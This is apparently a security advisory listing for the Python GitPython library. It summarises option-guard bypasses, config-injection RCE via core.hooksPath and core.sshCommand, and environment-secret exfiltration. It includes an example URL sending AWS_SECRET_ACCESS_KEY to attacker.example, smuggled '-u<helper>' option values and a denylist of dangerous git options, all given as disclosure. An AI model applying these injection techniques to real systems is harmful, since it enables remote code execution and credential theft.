Advisories for Pypi/GitPython package

2026

GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via –upload-pack.

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the […] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or …

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next …

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's …

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (–upload-pack, –receive-pack, –exec, -c, –config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options(). That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git …

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (–upload-pack, –config, -c, -u for clone; –upload-pack for fetch/pull; –receive-pack, –exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True. The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option …

GitPython unsafe clone option gate bypass through joined short options

GitPython version 3.1.50 blocks unsafe git clone options such as –upload-pack, -u, –config, and -c unless callers explicitly pass allow_unsafe_options=True. However, the default unsafe-option gate does not recognize joined short-option forms such as -u/path/to/helper. Git itself accepts -u<upload-pack> as the short form of –upload-pack=<upload-pack>. As a result, Repo.clone_from(…, multi_options=["-u<helper>"], allow_unsafe_options=False) can execute the helper command even though the equivalent long option is blocked. Affected package: Ecosystem: PyPI Package: GitPython Confirmed …

GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py …

GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's …

GitPython has Command Injection via Git options bypass

GitPython blocks dangerous Git options such as –upload-pack and –receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

2024
2023

GitPython blind local file inclusion

In order to resolve some git references, GitPython reads files from the .git directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the .git directory. This allows an attacker to make GitPython read any file from the system.

GitPython untrusted search path on Windows systems leading to arbitrary code execution

When resolving a program, Python/Windows look for the current working directory, and after that the PATH environment (see big warning in https://docs.python.org/3/library/subprocess.html#popen-constructor). GitPython defaults to use the git command, if a user runs GitPython from a repo has a git.exe or git executable, that program will be run instead of the one in the user's PATH.

GitPython vulnerable to remote code execution due to insufficient sanitization of input arguments

GitPython before 3.1.32 does not block insecure non-multi options in clone and clone_from, making it vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. NOTE: this issue exists because of an incomplete fix …

2022